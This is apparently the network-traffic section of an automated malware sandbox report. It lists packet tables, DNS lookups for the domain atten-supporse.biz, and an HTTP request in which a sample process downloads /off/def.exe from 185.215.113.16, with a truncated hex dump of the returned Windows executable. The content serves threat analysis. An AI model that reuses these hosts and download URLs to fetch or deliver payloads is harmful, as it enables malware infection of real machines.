Dec 10, 2024 06:38:29.858899117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.858938932 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.858963013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.859807014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.859848022 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.860008955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.860646009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.860688925 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.860790014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.861517906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.861556053 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.861623049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.862385988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.862440109 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.862497091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.863327980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.863360882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.863379955 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.864141941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.864182949 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.864283085 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.865035057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.865077019 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.865123987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.909429073 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.993092060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.993205070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.993273973 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.993479967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.993583918 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.993626118 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.994360924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.994524956 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.994589090 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.995208979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:30.014719963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:30.014780045 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:30.014795065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:30.015136957 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:30.015180111 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:30.015198946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:30.015983105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:30.016051054 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:30.016083002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:30.016874075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:30.016920090 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:30.185893059 CET	443	49758	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:30.185961962 CET	443	49758	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:30.186024904 CET	49758	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:30.186242104 CET	49758	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:30.186269999 CET	443	49758	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:40.328093052 CET	49798	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:38:40.328133106 CET	443	49798	172.217.21.36	192.168.2.6
Dec 10, 2024 06:38:40.328207970 CET	49798	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:38:40.328430891 CET	49798	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:38:40.328444958 CET	443	49798	172.217.21.36	192.168.2.6
Dec 10, 2024 06:38:41.367326975 CET	49803	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:41.367366076 CET	443	49803	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:41.367491961 CET	49803	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:41.368582010 CET	49803	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:41.368597984 CET	443	49803	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:42.023447990 CET	443	49798	172.217.21.36	192.168.2.6
Dec 10, 2024 06:38:42.023704052 CET	49798	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:38:42.023736000 CET	443	49798	172.217.21.36	192.168.2.6
Dec 10, 2024 06:38:42.024806023 CET	443	49798	172.217.21.36	192.168.2.6
Dec 10, 2024 06:38:42.024864912 CET	49798	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:38:42.025818110 CET	49798	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:38:42.025937080 CET	443	49798	172.217.21.36	192.168.2.6
Dec 10, 2024 06:38:42.066235065 CET	49798	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:38:42.066251993 CET	443	49798	172.217.21.36	192.168.2.6
Dec 10, 2024 06:38:42.114254951 CET	49798	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:38:43.459028006 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:43.603049994 CET	443	49803	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:43.603184938 CET	49803	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:43.606304884 CET	49803	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:43.606317043 CET	443	49803	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:43.606606960 CET	443	49803	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:43.608730078 CET	49803	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:43.608953953 CET	49803	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:43.608959913 CET	443	49803	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:43.609142065 CET	49803	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:43.651348114 CET	443	49803	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:44.319612026 CET	443	49803	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:44.319677114 CET	443	49803	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:44.323012114 CET	49803	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:44.325088024 CET	49803	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:38:44.325108051 CET	443	49803	20.198.119.84	192.168.2.6
Dec 10, 2024 06:38:49.951378107 CET	80	49703	217.20.58.100	192.168.2.6
Dec 10, 2024 06:38:49.951489925 CET	49703	80	192.168.2.6	217.20.58.100
Dec 10, 2024 06:38:49.951489925 CET	49703	80	192.168.2.6	217.20.58.100
Dec 10, 2024 06:38:50.070772886 CET	80	49703	217.20.58.100	192.168.2.6
Dec 10, 2024 06:38:50.070785046 CET	80	49703	217.20.58.100	192.168.2.6
Dec 10, 2024 06:38:50.070842028 CET	49703	80	192.168.2.6	217.20.58.100
Dec 10, 2024 06:38:51.725012064 CET	443	49798	172.217.21.36	192.168.2.6
Dec 10, 2024 06:38:51.725068092 CET	443	49798	172.217.21.36	192.168.2.6
Dec 10, 2024 06:38:51.725225925 CET	49798	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:38:51.727610111 CET	49798	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:38:51.727623940 CET	443	49798	172.217.21.36	192.168.2.6
Dec 10, 2024 06:39:01.760262012 CET	49901	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:01.760313034 CET	443	49901	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:01.760397911 CET	49901	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:01.760987043 CET	49901	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:01.761002064 CET	443	49901	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:04.002747059 CET	443	49901	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:04.002882957 CET	49901	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:04.004771948 CET	49901	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:04.004787922 CET	443	49901	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:04.005008936 CET	443	49901	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:04.014167070 CET	49901	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:04.014228106 CET	49901	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:04.014240026 CET	443	49901	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:04.014369011 CET	49901	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:04.055327892 CET	443	49901	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:04.567554951 CET	443	49901	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:04.567630053 CET	443	49901	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:04.567744017 CET	49901	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:04.567962885 CET	49901	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:04.567985058 CET	443	49901	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:28.479090929 CET	49967	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:28.479135990 CET	443	49967	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:28.479206085 CET	49967	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:28.479801893 CET	49967	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:28.479814053 CET	443	49967	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:30.708472967 CET	443	49967	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:30.708652973 CET	49967	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:30.710427046 CET	49967	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:30.710445881 CET	443	49967	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:30.710669041 CET	443	49967	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:30.712410927 CET	49967	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:30.712467909 CET	49967	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:30.712475061 CET	443	49967	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:30.712589025 CET	49967	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:30.755337000 CET	443	49967	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:31.380821943 CET	443	49967	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:31.380902052 CET	443	49967	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:31.380968094 CET	49967	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:31.381220102 CET	49967	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:31.381236076 CET	443	49967	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:36.843537092 CET	49701	443	192.168.2.6	40.126.53.13
Dec 10, 2024 06:39:36.963762999 CET	443	49701	40.126.53.13	192.168.2.6
Dec 10, 2024 06:39:36.963829041 CET	49701	443	192.168.2.6	40.126.53.13
Dec 10, 2024 06:39:40.244863033 CET	49994	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:39:40.244899988 CET	443	49994	172.217.21.36	192.168.2.6
Dec 10, 2024 06:39:40.244977951 CET	49994	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:39:40.245222092 CET	49994	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:39:40.245233059 CET	443	49994	172.217.21.36	192.168.2.6
Dec 10, 2024 06:39:41.935988903 CET	443	49994	172.217.21.36	192.168.2.6
Dec 10, 2024 06:39:41.936256886 CET	49994	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:39:41.936273098 CET	443	49994	172.217.21.36	192.168.2.6
Dec 10, 2024 06:39:41.936551094 CET	443	49994	172.217.21.36	192.168.2.6
Dec 10, 2024 06:39:41.937000990 CET	49994	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:39:41.937068939 CET	443	49994	172.217.21.36	192.168.2.6
Dec 10, 2024 06:39:41.986274958 CET	49994	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:39:42.641663074 CET	49705	443	192.168.2.6	40.126.53.13
Dec 10, 2024 06:39:42.761343002 CET	443	49705	40.126.53.13	192.168.2.6
Dec 10, 2024 06:39:42.761435986 CET	49705	443	192.168.2.6	40.126.53.13
Dec 10, 2024 06:39:51.643893957 CET	443	49994	172.217.21.36	192.168.2.6
Dec 10, 2024 06:39:51.643946886 CET	443	49994	172.217.21.36	192.168.2.6
Dec 10, 2024 06:39:51.643996000 CET	49994	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:39:51.738135099 CET	49994	443	192.168.2.6	172.217.21.36
Dec 10, 2024 06:39:51.738143921 CET	443	49994	172.217.21.36	192.168.2.6
Dec 10, 2024 06:39:58.684062958 CET	50039	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:58.684106112 CET	443	50039	20.198.119.84	192.168.2.6
Dec 10, 2024 06:39:58.684165001 CET	50039	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:58.684725046 CET	50039	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:39:58.684741974 CET	443	50039	20.198.119.84	192.168.2.6
Dec 10, 2024 06:40:00.912430048 CET	443	50039	20.198.119.84	192.168.2.6
Dec 10, 2024 06:40:00.912532091 CET	50039	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:40:00.914228916 CET	50039	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:40:00.914237022 CET	443	50039	20.198.119.84	192.168.2.6
Dec 10, 2024 06:40:00.914434910 CET	443	50039	20.198.119.84	192.168.2.6
Dec 10, 2024 06:40:00.915947914 CET	50039	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:40:00.916021109 CET	50039	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:40:00.916027069 CET	443	50039	20.198.119.84	192.168.2.6
Dec 10, 2024 06:40:00.916161060 CET	50039	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:40:00.963342905 CET	443	50039	20.198.119.84	192.168.2.6
Dec 10, 2024 06:40:01.459883928 CET	443	50039	20.198.119.84	192.168.2.6
Dec 10, 2024 06:40:01.460077047 CET	443	50039	20.198.119.84	192.168.2.6
Dec 10, 2024 06:40:01.460135937 CET	50039	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:40:01.460252047 CET	50039	443	192.168.2.6	20.198.119.84
Dec 10, 2024 06:40:01.460268021 CET	443	50039	20.198.119.84	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 06:38:01.384501934 CET	58348	53	192.168.2.6	1.1.1.1
Dec 10, 2024 06:38:01.604739904 CET	53	58348	1.1.1.1	192.168.2.6
Dec 10, 2024 06:38:35.704600096 CET	53	60654	1.1.1.1	192.168.2.6
Dec 10, 2024 06:38:35.789721012 CET	53	49445	1.1.1.1	192.168.2.6
Dec 10, 2024 06:38:38.875442982 CET	53	56631	1.1.1.1	192.168.2.6
Dec 10, 2024 06:38:40.190263033 CET	64911	53	192.168.2.6	1.1.1.1
Dec 10, 2024 06:38:40.190380096 CET	49887	53	192.168.2.6	1.1.1.1
Dec 10, 2024 06:38:40.326926947 CET	53	64911	1.1.1.1	192.168.2.6
Dec 10, 2024 06:38:40.327023983 CET	53	49887	1.1.1.1	192.168.2.6
Dec 10, 2024 06:38:42.197381020 CET	59614	53	192.168.2.6	1.1.1.1
Dec 10, 2024 06:38:42.198191881 CET	51327	53	192.168.2.6	1.1.1.1
Dec 10, 2024 06:38:50.087042093 CET	53	56849	1.1.1.1	192.168.2.6
Dec 10, 2024 06:38:51.728193045 CET	53456	53	192.168.2.6	1.1.1.1
Dec 10, 2024 06:38:51.728409052 CET	57131	53	192.168.2.6	1.1.1.1
Dec 10, 2024 06:38:55.934550047 CET	53	58721	1.1.1.1	192.168.2.6
Dec 10, 2024 06:39:14.907457113 CET	53	55200	1.1.1.1	192.168.2.6
Dec 10, 2024 06:39:35.595705986 CET	53	58638	1.1.1.1	192.168.2.6
Dec 10, 2024 06:39:37.112268925 CET	53	52992	1.1.1.1	192.168.2.6
Dec 10, 2024 06:39:53.667248964 CET	64035	53	192.168.2.6	1.1.1.1
Dec 10, 2024 06:39:53.667393923 CET	56784	53	192.168.2.6	1.1.1.1
Dec 10, 2024 06:40:07.109452963 CET	53	61233	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 06:38:01.384501934 CET	192.168.2.6	1.1.1.1	0x22d6	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 06:38:40.190263033 CET	192.168.2.6	1.1.1.1	0x516b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 06:38:40.190380096 CET	192.168.2.6	1.1.1.1	0x6603	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 10, 2024 06:38:42.197381020 CET	192.168.2.6	1.1.1.1	0x3688	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 06:38:42.198191881 CET	192.168.2.6	1.1.1.1	0xcbf5	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 10, 2024 06:38:51.728193045 CET	192.168.2.6	1.1.1.1	0xe09a	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 06:38:51.728409052 CET	192.168.2.6	1.1.1.1	0xb43f	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Dec 10, 2024 06:39:53.667248964 CET	192.168.2.6	1.1.1.1	0xb274	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 06:39:53.667393923 CET	192.168.2.6	1.1.1.1	0x2a5b	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 06:38:01.604739904 CET	1.1.1.1	192.168.2.6	0x22d6	No error (0)	atten-supporse.biz		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 06:38:01.604739904 CET	1.1.1.1	192.168.2.6	0x22d6	No error (0)	atten-supporse.biz		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 06:38:01.604739904 CET	1.1.1.1	192.168.2.6	0x22d6	No error (0)	atten-supporse.biz		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 06:38:01.604739904 CET	1.1.1.1	192.168.2.6	0x22d6	No error (0)	atten-supporse.biz		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 06:38:01.604739904 CET	1.1.1.1	192.168.2.6	0x22d6	No error (0)	atten-supporse.biz		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 06:38:01.604739904 CET	1.1.1.1	192.168.2.6	0x22d6	No error (0)	atten-supporse.biz		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 06:38:01.604739904 CET	1.1.1.1	192.168.2.6	0x22d6	No error (0)	atten-supporse.biz		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 06:38:40.326926947 CET	1.1.1.1	192.168.2.6	0x516b	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 10, 2024 06:38:40.327023983 CET	1.1.1.1	192.168.2.6	0x6603	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 10, 2024 06:38:42.507103920 CET	1.1.1.1	192.168.2.6	0xac4f	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 06:38:42.596438885 CET	1.1.1.1	192.168.2.6	0xcbf5	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 06:38:42.596438885 CET	1.1.1.1	192.168.2.6	0xcbf5	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 06:38:42.629713058 CET	1.1.1.1	192.168.2.6	0xe387	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 06:38:42.629713058 CET	1.1.1.1	192.168.2.6	0xe387	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 06:38:42.629713058 CET	1.1.1.1	192.168.2.6	0xe387	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 06:38:42.709462881 CET	1.1.1.1	192.168.2.6	0x3688	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 06:38:42.709462881 CET	1.1.1.1	192.168.2.6	0x3688	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 06:38:42.709462881 CET	1.1.1.1	192.168.2.6	0x3688	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 06:38:42.709462881 CET	1.1.1.1	192.168.2.6	0x3688	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 06:38:45.324970961 CET	1.1.1.1	192.168.2.6	0x1c4d	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 06:38:45.325567961 CET	1.1.1.1	192.168.2.6	0xdb30	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 06:38:45.325567961 CET	1.1.1.1	192.168.2.6	0xdb30	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 06:38:45.325567961 CET	1.1.1.1	192.168.2.6	0xdb30	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 06:38:51.967211962 CET	1.1.1.1	192.168.2.6	0xe09a	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 06:38:51.971138954 CET	1.1.1.1	192.168.2.6	0xb43f	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 06:39:53.805937052 CET	1.1.1.1	192.168.2.6	0x2a5b	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 06:39:53.806323051 CET	1.1.1.1	192.168.2.6	0xb274	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

atten-supporse.biz

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49747	185.215.113.16	80	6228	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 06:38:24.050901890 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 10, 2024 06:38:25.398715019 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 05:38:24 GMT Content-Type: application/octet-stream Content-Length: 2814464 Last-Modified: Tue, 10 Dec 2024 05:34:36 GMT Connection: keep-alive ETag: "6757d2ec-2af200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 3f 61 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +?a+`Ui` @ @.rsrc`2@.idata 8@qjpieajb*:@bwgdqhjl @+@.taggant@`+"*@
Dec 10, 2024 06:38:25.398740053 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 06:38:25.399477005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 06:38:25.399518013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 06:38:25.399528980 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 06:38:25.400263071 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
